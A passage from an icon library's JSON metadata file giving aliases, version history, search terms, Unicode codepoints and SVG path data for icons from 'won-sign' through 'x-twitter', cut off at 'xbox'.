13.84-3.51 22.84zm28.15-49.26c-.4 10.94-.9 21.66-1.76 31.67-7.85-1.86-15.57-3.8-21.11-7 8.24-7.94 15.55-16.32 22.87-24.68zm24.63 5.28c0-13.43-2.05-24.21-5.28-33.43a235 235 0 0 1-18.47 27.27zm3.52-80.94c19.44 12.81 27.8 33.66 29.91 56.3-12.32-4.53-24.63-9.31-36.95-10.56 5.06-12 6.65-28.14 7-45.74zm-1.76-45.74c.81 14.3 1.84 28.82 1.76 42.23 19.22-8.11 29.78-9.72 44-14.08-10.61-18.96-27.2-25.53-45.76-28.16zM165.68 376.52L181.52 366c-7.47-4.36-13.76-8.42-19.35-12.32.6 7.26.27 13.88 3.51 22.88zm-28.15-49.26c.4 10.94.9 21.66 1.76 31.67 7.85-1.86 15.57-3.8 21.11-7-8.24-7.93-15.55-16.31-22.87-24.67zm-24.64 5.28c0-13.43 2-24.21 5.28-33.43a235 235 0 0 0 18.47 27.27zm-3.52-80.94c-19.44 12.81-27.8 33.66-29.91 56.3 12.32-4.53 24.63-9.31 37-10.56-5-12-6.65-28.14-7-45.74zm1.76-45.74c-.81 14.3-1.84 28.82-1.76 42.23-19.22-8.11-29.78-9.72-44-14.08 10.63-18.95 27.23-25.52 45.76-28.15z"
      }
    },
    "free": ["brands"]
  },
  "won-sign": {
    "aliases": {
      "names": ["krw", "won"],
      "unicodes": {
        "composite": ["20a9"],
        "secondary": ["10f159"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Won Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "f159",
    "label": "Won Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M62.4 53.9C56.8 37.1 38.6 28.1 21.9 33.6S-3.9 57.4 1.6 74.1L51.6 224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H72.9l56.7 170.1c4.5 13.5 17.4 22.4 31.6 21.9s26.4-10.4 29.8-24.2L233 288h46L321 455.8c3.4 13.8 15.6 23.7 29.8 24.2s27.1-8.4 31.6-21.9L439.1 288H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H460.4l50-149.9c5.6-16.8-3.5-34.9-20.2-40.5s-34.9 3.5-40.5 20.2L392.9 224H329L287 56.2C283.5 42 270.7 32 256 32s-27.5 10-31 24.2L183 224h-64L62.4 53.9zm78 234.1H167l-11.4 45.6L140.4 288zM249 224l7-28.1 7 28.1H249zm96 64h26.6l-15.2 45.6L345 288z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M62.4 53.9C56.8 37.1 38.6 28.1 21.9 33.6S-3.9 57.4 1.6 74.1L51.6 224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H72.9l56.7 170.1c4.5 13.5 17.4 22.4 31.6 21.9s26.4-10.4 29.8-24.2L233 288h46L321 455.8c3.4 13.8 15.6 23.7 29.8 24.2s27.1-8.4 31.6-21.9L439.1 288H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H460.4l50-149.9c5.6-16.8-3.5-34.9-20.2-40.5s-34.9 3.5-40.5 20.2L392.9 224H329L287 56.2C283.5 42 270.7 32 256 32s-27.5 10-31 24.2L183 224h-64L62.4 53.9zm78 234.1H167l-11.4 45.6L140.4 288zM249 224l7-28.1 7 28.1H249zm96 64h26.6l-15.2 45.6L345 288z"
      }
    },
    "free": ["solid"]
  },
  "wordpress": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f19a",
    "label": "WordPress Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M61.7 169.4l101.5 278C92.2 413 43.3 340.2 43.3 256c0-30.9 6.6-60.1 18.4-86.6zm337.9 75.9c0-26.3-9.4-44.5-17.5-58.7-10.8-17.5-20.9-32.4-20.9-49.9 0-19.6 14.8-37.8 35.7-37.8.9 0 1.8.1 2.8.2-37.9-34.7-88.3-55.9-143.7-55.9-74.3 0-139.7 38.1-177.8 95.9 5 .2 9.7.3 13.7.3 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l77.5 230.4L249.8 247l-33.1-90.8c-11.5-.7-22.3-2-22.3-2-11.5-.7-10.1-18.2 1.3-17.5 0 0 35.1 2.7 56 2.7 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l76.9 228.7 21.2-70.9c9-29.4 16-50.5 16-68.7zm-139.9 29.3l-63.8 185.5c19.1 5.6 39.2 8.7 60.1 8.7 24.8 0 48.5-4.3 70.6-12.1-.6-.9-1.1-1.9-1.5-2.9l-65.4-179.2zm183-120.7c.9 6.8 1.4 14 1.4 21.9 0 21.6-4 45.8-16.2 76.2l-65 187.9C426.2 403 468.7 334.5 468.7 256c0-37-9.4-71.8-26-102.1zM504 256c0 136.8-111.3 248-248 248C119.2 504 8 392.7 8 256 8 119.2 119.2 8 256 8c136.7 0 248 111.2 248 248zm-11.4 0c0-130.5-106.2-236.6-236.6-236.6C125.5 19.4 19.4 125.5 19.4 256S125.6 492.6 256 492.6c130.5 0 236.6-106.1 236.6-236.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M61.7 169.4l101.5 278C92.2 413 43.3 340.2 43.3 256c0-30.9 6.6-60.1 18.4-86.6zm337.9 75.9c0-26.3-9.4-44.5-17.5-58.7-10.8-17.5-20.9-32.4-20.9-49.9 0-19.6 14.8-37.8 35.7-37.8.9 0 1.8.1 2.8.2-37.9-34.7-88.3-55.9-143.7-55.9-74.3 0-139.7 38.1-177.8 95.9 5 .2 9.7.3 13.7.3 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l77.5 230.4L249.8 247l-33.1-90.8c-11.5-.7-22.3-2-22.3-2-11.5-.7-10.1-18.2 1.3-17.5 0 0 35.1 2.7 56 2.7 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l76.9 228.7 21.2-70.9c9-29.4 16-50.5 16-68.7zm-139.9 29.3l-63.8 185.5c19.1 5.6 39.2 8.7 60.1 8.7 24.8 0 48.5-4.3 70.6-12.1-.6-.9-1.1-1.9-1.5-2.9l-65.4-179.2zm183-120.7c.9 6.8 1.4 14 1.4 21.9 0 21.6-4 45.8-16.2 76.2l-65 187.9C426.2 403 468.7 334.5 468.7 256c0-37-9.4-71.8-26-102.1zM504 256c0 136.8-111.3 248-248 248C119.2 504 8 392.7 8 256 8 119.2 119.2 8 256 8c136.7 0 248 111.2 248 248zm-11.4 0c0-130.5-106.2-236.6-236.6-236.6C125.5 19.4 19.4 125.5 19.4 256S125.6 492.6 256 492.6c130.5 0 236.6-106.1 236.6-236.6z"
      }
    },
    "free": ["brands"]
  },
  "wordpress-simple": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f411",
    "label": "Wordpress Simple",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119.3 8 8 119.2 8 256c0 136.7 111.3 248 248 248s248-111.3 248-248C504 119.2 392.7 8 256 8zM33 256c0-32.3 6.9-63 19.3-90.7l106.4 291.4C84.3 420.5 33 344.2 33 256zm223 223c-21.9 0-43-3.2-63-9.1l66.9-194.4 68.5 187.8c.5 1.1 1 2.1 1.6 3.1-23.1 8.1-48 12.6-74 12.6zm30.7-327.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-21.9 0-58.7-2.8-58.7-2.8-12-.7-13.4 17.7-1.4 18.4 0 0 11.4 1.4 23.4 2.1l34.7 95.2L200.6 393l-81.2-241.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-4.2 0-9.1-.1-14.4-.3C109.6 73 178.1 33 256 33c58 0 110.9 22.2 150.6 58.5-1-.1-1.9-.2-2.9-.2-21.9 0-37.4 19.1-37.4 39.6 0 18.4 10.6 33.9 21.9 52.3 8.5 14.8 18.4 33.9 18.4 61.5 0 19.1-7.3 41.2-17 72.1l-22.2 74.3-80.7-239.6zm81.4 297.2l68.1-196.9c12.7-31.8 17-57.2 17-79.9 0-8.2-.5-15.8-1.5-22.9 17.4 31.8 27.3 68.2 27.3 107 0 82.3-44.6 154.1-110.9 192.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 8C119.3 8 8 119.2 8 256c0 136.7 111.3 248 248 248s248-111.3 248-248C504 119.2 392.7 8 256 8zM33 256c0-32.3 6.9-63 19.3-90.7l106.4 291.4C84.3 420.5 33 344.2 33 256zm223 223c-21.9 0-43-3.2-63-9.1l66.9-194.4 68.5 187.8c.5 1.1 1 2.1 1.6 3.1-23.1 8.1-48 12.6-74 12.6zm30.7-327.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-21.9 0-58.7-2.8-58.7-2.8-12-.7-13.4 17.7-1.4 18.4 0 0 11.4 1.4 23.4 2.1l34.7 95.2L200.6 393l-81.2-241.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-4.2 0-9.1-.1-14.4-.3C109.6 73 178.1 33 256 33c58 0 110.9 22.2 150.6 58.5-1-.1-1.9-.2-2.9-.2-21.9 0-37.4 19.1-37.4 39.6 0 18.4 10.6 33.9 21.9 52.3 8.5 14.8 18.4 33.9 18.4 61.5 0 19.1-7.3 41.2-17 72.1l-22.2 74.3-80.7-239.6zm81.4 297.2l68.1-196.9c12.7-31.8 17-57.2 17-79.9 0-8.2-.5-15.8-1.5-22.9 17.4 31.8 27.3 68.2 27.3 107 0 82.3-44.6 154.1-110.9 192.7z"
      }
    },
    "free": ["brands"]
  },
  "worm": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["dirt", "garden", "worm", "wriggle"]
    },
    "styles": ["solid"],
    "unicode": "e599",
    "label": "Worm",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 96c0-53 43-96 96-96h38.4C439.9 0 480 40.1 480 89.6V176v16V376c0 75.1-60.9 136-136 136s-136-60.9-136-136V296c0-22.1-17.9-40-40-40s-40 17.9-40 40V464c0 26.5-21.5 48-48 48s-48-21.5-48-48V296c0-75.1 60.9-136 136-136s136 60.9 136 136v80c0 22.1 17.9 40 40 40s40-17.9 40-40V192H352c-53 0-96-43-96-96zm144-8a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 96c0-53 43-96 96-96h38.4C439.9 0 480 40.1 480 89.6V176v16V376c0 75.1-60.9 136-136 136s-136-60.9-136-136V296c0-22.1-17.9-40-40-40s-40 17.9-40 40V464c0 26.5-21.5 48-48 48s-48-21.5-48-48V296c0-75.1 60.9-136 136-136s136 60.9 136 136v80c0 22.1 17.9 40 40 40s40-17.9 40-40V192H352c-53 0-96-43-96-96zm144-8a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z"
      }
    },
    "free": ["solid"]
  },
  "wpbeginner": {
    "changes": ["4.6.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f297",
    "label": "WPBeginner",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M462.799 322.374C519.01 386.682 466.961 480 370.944 480c-39.602 0-78.824-17.687-100.142-50.04-6.887.356-22.702.356-29.59 0C219.848 462.381 180.588 480 141.069 480c-95.49 0-148.348-92.996-91.855-157.626C-29.925 190.523 80.479 32 256.006 32c175.632 0 285.87 158.626 206.793 290.374zm-339.647-82.972h41.529v-58.075h-41.529v58.075zm217.18 86.072v-23.839c-60.506 20.915-132.355 9.198-187.589-33.971l.246 24.897c51.101 46.367 131.746 57.875 187.343 32.913zm-150.753-86.072h166.058v-58.075H189.579v58.075z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M462.799 322.374C519.01 386.682 466.961 480 370.944 480c-39.602 0-78.824-17.687-100.142-50.04-6.887.356-22.702.356-29.59 0C219.848 462.381 180.588 480 141.069 480c-95.49 0-148.348-92.996-91.855-157.626C-29.925 190.523 80.479 32 256.006 32c175.632 0 285.87 158.626 206.793 290.374zm-339.647-82.972h41.529v-58.075h-41.529v58.075zm217.18 86.072v-23.839c-60.506 20.915-132.355 9.198-187.589-33.971l.246 24.897c51.101 46.367 131.746 57.875 187.343 32.913zm-150.753-86.072h166.058v-58.075H189.579v58.075z"
      }
    },
    "free": ["brands"]
  },
  "wpexplorer": {
    "changes": ["4.7.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2de",
    "label": "WPExplorer",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 256c0 141.2-114.7 256-256 256C114.8 512 0 397.3 0 256S114.7 0 256 0s256 114.7 256 256zm-32 0c0-123.2-100.3-224-224-224C132.5 32 32 132.5 32 256s100.5 224 224 224 224-100.5 224-224zM160.9 124.6l86.9 37.1-37.1 86.9-86.9-37.1 37.1-86.9zm110 169.1l46.6 94h-14.6l-50-100-48.9 100h-14l51.1-106.9-22.3-9.4 6-14 68.6 29.1-6 14.3-16.5-7.1zm-11.8-116.3l68.6 29.4-29.4 68.3L230 246l29.1-68.6zm80.3 42.9l54.6 23.1-23.4 54.3-54.3-23.1 23.1-54.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 256c0 141.2-114.7 256-256 256C114.8 512 0 397.3 0 256S114.7 0 256 0s256 114.7 256 256zm-32 0c0-123.2-100.3-224-224-224C132.5 32 32 132.5 32 256s100.5 224 224 224 224-100.5 224-224zM160.9 124.6l86.9 37.1-37.1 86.9-86.9-37.1 37.1-86.9zm110 169.1l46.6 94h-14.6l-50-100-48.9 100h-14l51.1-106.9-22.3-9.4 6-14 68.6 29.1-6 14.3-16.5-7.1zm-11.8-116.3l68.6 29.4-29.4 68.3L230 246l29.1-68.6zm80.3 42.9l54.6 23.1-23.4 54.3-54.3-23.1 23.1-54.3z"
      }
    },
    "free": ["brands"]
  },
  "wpforms": {
    "changes": ["4.6.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f298",
    "label": "WPForms",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 75.2v361.7c0 24.3-19 43.2-43.2 43.2H43.2C19.3 480 0 461.4 0 436.8V75.2C0 51.1 18.8 32 43.2 32h361.7c24 0 43.1 18.8 43.1 43.2zm-37.3 361.6V75.2c0-3-2.6-5.8-5.8-5.8h-9.3L285.3 144 224 94.1 162.8 144 52.5 69.3h-9.3c-3.2 0-5.8 2.8-5.8 5.8v361.7c0 3 2.6 5.8 5.8 5.8h361.7c3.2.1 5.8-2.7 5.8-5.8zM150.2 186v37H76.7v-37h73.5zm0 74.4v37.3H76.7v-37.3h73.5zm11.1-147.3l54-43.7H96.8l64.5 43.7zm210 72.9v37h-196v-37h196zm0 74.4v37.3h-196v-37.3h196zm-84.6-147.3l64.5-43.7H232.8l53.9 43.7zM371.3 335v37.3h-99.4V335h99.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 75.2v361.7c0 24.3-19 43.2-43.2 43.2H43.2C19.3 480 0 461.4 0 436.8V75.2C0 51.1 18.8 32 43.2 32h361.7c24 0 43.1 18.8 43.1 43.2zm-37.3 361.6V75.2c0-3-2.6-5.8-5.8-5.8h-9.3L285.3 144 224 94.1 162.8 144 52.5 69.3h-9.3c-3.2 0-5.8 2.8-5.8 5.8v361.7c0 3 2.6 5.8 5.8 5.8h361.7c3.2.1 5.8-2.7 5.8-5.8zM150.2 186v37H76.7v-37h73.5zm0 74.4v37.3H76.7v-37.3h73.5zm11.1-147.3l54-43.7H96.8l64.5 43.7zm210 72.9v37h-196v-37h196zm0 74.4v37.3h-196v-37.3h196zm-84.6-147.3l64.5-43.7H232.8l53.9 43.7zM371.3 335v37.3h-99.4V335h99.4z"
      }
    },
    "free": ["brands"]
  },
  "wpressr": {
    "aliases": {
      "names": ["rendact"]
    },
    "changes": ["5.4.2"],
    "ligatures": [],
    "search": {
      "terms": ["rendact"]
    },
    "styles": ["brands"],
    "unicode": "f3e4",
    "label": "wpressr",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm171.33 158.6c-15.18 34.51-30.37 69.02-45.63 103.5-2.44 5.51-6.89 8.24-12.97 8.24-23.02-.01-46.03.06-69.05-.05-5.12-.03-8.25 1.89-10.34 6.72-10.19 23.56-20.63 47-30.95 70.5-1.54 3.51-4.06 5.29-7.92 5.29-45.94-.01-91.87-.02-137.81 0-3.13 0-5.63-1.15-7.72-3.45-11.21-12.33-22.46-24.63-33.68-36.94-2.69-2.95-2.79-6.18-1.21-9.73 8.66-19.54 17.27-39.1 25.89-58.66 12.93-29.35 25.89-58.69 38.75-88.08 1.7-3.88 4.28-5.68 8.54-5.65 14.24.1 28.48.02 42.72.05 6.24.01 9.2 4.84 6.66 10.59-13.6 30.77-27.17 61.55-40.74 92.33-5.72 12.99-11.42 25.99-17.09 39-3.91 8.95 7.08 11.97 10.95 5.6.23-.37-1.42 4.18 30.01-67.69 1.36-3.1 3.41-4.4 6.77-4.39 15.21.08 30.43.02 45.64.04 5.56.01 7.91 3.64 5.66 8.75-8.33 18.96-16.71 37.9-24.98 56.89-4.98 11.43 8.08 12.49 11.28 5.33.04-.08 27.89-63.33 32.19-73.16 2.02-4.61 5.44-6.51 10.35-6.5 26.43.05 52.86 0 79.29.05 12.44.02 13.93-13.65 3.9-13.64-25.26.03-50.52.02-75.78.02-6.27 0-7.84-2.47-5.27-8.27 5.78-13.06 11.59-26.11 17.3-39.21 1.73-3.96 4.52-5.79 8.84-5.78 23.09.06 25.98.02 130.78.03 6.08-.01 8.03 2.79 5.62 8.27z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm171.33 158.6c-15.18 34.51-30.37 69.02-45.63 103.5-2.44 5.51-6.89 8.24-12.97 8.24-23.02-.01-46.03.06-69.05-.05-5.12-.03-8.25 1.89-10.34 6.72-10.19 23.56-20.63 47-30.95 70.5-1.54 3.51-4.06 5.29-7.92 5.29-45.94-.01-91.87-.02-137.81 0-3.13 0-5.63-1.15-7.72-3.45-11.21-12.33-22.46-24.63-33.68-36.94-2.69-2.95-2.79-6.18-1.21-9.73 8.66-19.54 17.27-39.1 25.89-58.66 12.93-29.35 25.89-58.69 38.75-88.08 1.7-3.88 4.28-5.68 8.54-5.65 14.24.1 28.48.02 42.72.05 6.24.01 9.2 4.84 6.66 10.59-13.6 30.77-27.17 61.55-40.74 92.33-5.72 12.99-11.42 25.99-17.09 39-3.91 8.95 7.08 11.97 10.95 5.6.23-.37-1.42 4.18 30.01-67.69 1.36-3.1 3.41-4.4 6.77-4.39 15.21.08 30.43.02 45.64.04 5.56.01 7.91 3.64 5.66 8.75-8.33 18.96-16.71 37.9-24.98 56.89-4.98 11.43 8.08 12.49 11.28 5.33.04-.08 27.89-63.33 32.19-73.16 2.02-4.61 5.44-6.51 10.35-6.5 26.43.05 52.86 0 79.29.05 12.44.02 13.93-13.65 3.9-13.64-25.26.03-50.52.02-75.78.02-6.27 0-7.84-2.47-5.27-8.27 5.78-13.06 11.59-26.11 17.3-39.21 1.73-3.96 4.52-5.79 8.84-5.78 23.09.06 25.98.02 130.78.03 6.08-.01 8.03 2.79 5.62 8.27z"
      }
    },
    "free": ["brands"]
  },
  "wrench": {
    "aliases": {
      "unicodes": {
        "composite": ["1f527"],
        "secondary": ["10f0ad"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.0.13",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "construction",
        "fix",
        "mechanic",
        "plumbing",
        "settings",
        "spanner",
        "tool",
        "update",
        "wrench"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0ad",
    "label": "Wrench",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M352 320c88.4 0 160-71.6 160-160c0-15.3-2.2-30.1-6.2-44.2c-3.1-10.8-16.4-13.2-24.3-5.3l-76.8 76.8c-3 3-7.1 4.7-11.3 4.7H336c-8.8 0-16-7.2-16-16V118.6c0-4.2 1.7-8.3 4.7-11.3l76.8-76.8c7.9-7.9 5.4-21.2-5.3-24.3C382.1 2.2 367.3 0 352 0C263.6 0 192 71.6 192 160c0 19.1 3.4 37.5 9.5 54.5L19.9 396.1C7.2 408.8 0 426.1 0 444.1C0 481.6 30.4 512 67.9 512c18 0 35.3-7.2 48-19.9L297.5 310.5c17 6.2 35.4 9.5 54.5 9.5zM80 408a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M352 320c88.4 0 160-71.6 160-160c0-15.3-2.2-30.1-6.2-44.2c-3.1-10.8-16.4-13.2-24.3-5.3l-76.8 76.8c-3 3-7.1 4.7-11.3 4.7H336c-8.8 0-16-7.2-16-16V118.6c0-4.2 1.7-8.3 4.7-11.3l76.8-76.8c7.9-7.9 5.4-21.2-5.3-24.3C382.1 2.2 367.3 0 352 0C263.6 0 192 71.6 192 160c0 19.1 3.4 37.5 9.5 54.5L19.9 396.1C7.2 408.8 0 426.1 0 444.1C0 481.6 30.4 512 67.9 512c18 0 35.3-7.2 48-19.9L297.5 310.5c17 6.2 35.4 9.5 54.5 9.5zM80 408a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "x": {
    "aliases": {
      "unicodes": {
        "composite": ["78"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter X", "Latin Small Letter X", "letter"]
    },
    "styles": ["solid"],
    "unicode": "58",
    "label": "X",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M376.6 84.5c11.3-13.6 9.5-33.8-4.1-45.1s-33.8-9.5-45.1 4.1L192 206 56.6 43.5C45.3 29.9 25.1 28.1 11.5 39.4S-3.9 70.9 7.4 84.5L150.3 256 7.4 427.5c-11.3 13.6-9.5 33.8 4.1 45.1s33.8 9.5 45.1-4.1L192 306 327.4 468.5c11.3 13.6 31.5 15.4 45.1 4.1s15.4-31.5 4.1-45.1L233.7 256 376.6 84.5z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M376.6 84.5c11.3-13.6 9.5-33.8-4.1-45.1s-33.8-9.5-45.1 4.1L192 206 56.6 43.5C45.3 29.9 25.1 28.1 11.5 39.4S-3.9 70.9 7.4 84.5L150.3 256 7.4 427.5c-11.3 13.6-9.5 33.8 4.1 45.1s33.8 9.5 45.1-4.1L192 306 327.4 468.5c11.3 13.6 31.5 15.4 45.1 4.1s15.4-31.5 4.1-45.1L233.7 256 376.6 84.5z"
      }
    },
    "free": ["solid"]
  },
  "x-ray": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f497"]
      }
    },
    "changes": ["5.0.7", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "health",
        "medical",
        "radiological images",
        "radiology",
        "skeleton"
      ]
    },
    "styles": ["solid"],
    "unicode": "f497",
    "label": "X Ray",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32V416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32V96C14.3 96 0 81.7 0 64zM256 96c-8.8 0-16 7.2-16 16v32H160c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v48H128c-8.8 0-16 7.2-16 16s7.2 16 16 16H240v70.6L189.1 307c-5.2-2-10.6-3-16.2-3h-2.1c-23.6 0-42.8 19.2-42.8 42.8c0 9.6 3.2 18.9 9.1 26.4l18.2 23.2c9.7 12.4 24.6 19.6 40.3 19.6H316.4c15.7 0 30.6-7.2 40.3-19.6l18.2-23.2c5.9-7.5 9.1-16.8 9.1-26.4c0-23.6-19.2-42.8-42.8-42.8H339c-5.5 0-11 1-16.2 3L272 326.6V256H384c8.8 0 16-7.2 16-16s-7.2-16-16-16H272V176h80c8.8 0 16-7.2 16-16s-7.2-16-16-16H272V112c0-8.8-7.2-16-16-16zM208 352a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm80 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32V416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32V96C14.3 96 0 81.7 0 64zM256 96c-8.8 0-16 7.2-16 16v32H160c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v48H128c-8.8 0-16 7.2-16 16s7.2 16 16 16H240v70.6L189.1 307c-5.2-2-10.6-3-16.2-3h-2.1c-23.6 0-42.8 19.2-42.8 42.8c0 9.6 3.2 18.9 9.1 26.4l18.2 23.2c9.7 12.4 24.6 19.6 40.3 19.6H316.4c15.7 0 30.6-7.2 40.3-19.6l18.2-23.2c5.9-7.5 9.1-16.8 9.1-26.4c0-23.6-19.2-42.8-42.8-42.8H339c-5.5 0-11 1-16.2 3L272 326.6V256H384c8.8 0 16-7.2 16-16s-7.2-16-16-16H272V176h80c8.8 0 16-7.2 16-16s-7.2-16-16-16H272V112c0-8.8-7.2-16-16-16zM208 352a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm80 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z"
      }
    },
    "free": ["solid"]
  },
  "x-twitter": {
    "changes": ["6.4.2"],
    "ligatures": [],
    "search": {
      "terms": ["  elon", " twitter", " x"]
    },
    "styles": ["brands"],
    "unicode": "e61b",
    "label": "X Twitter",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1690904784,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M389.2 48h70.6L305.6 224.2 487 464H345L233.7 318.6 106.5 464H35.8L200.7 275.5 26.8 48H172.4L272.9 180.9 389.2 48zM364.4 421.8h39.1L151.1 88h-42L364.4 421.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M389.2 48h70.6L305.6 224.2 487 464H345L233.7 318.6 106.5 464H35.8L200.7 275.5 26.8 48H172.4L272.9 180.9 389.2 48zM364.4 421.8h39.1L151.1 88h-42L364.4 421.8z"
      }
    },
    "free": ["brands"]
  },
  "xbox": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f412",
    "label": "Xbox",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
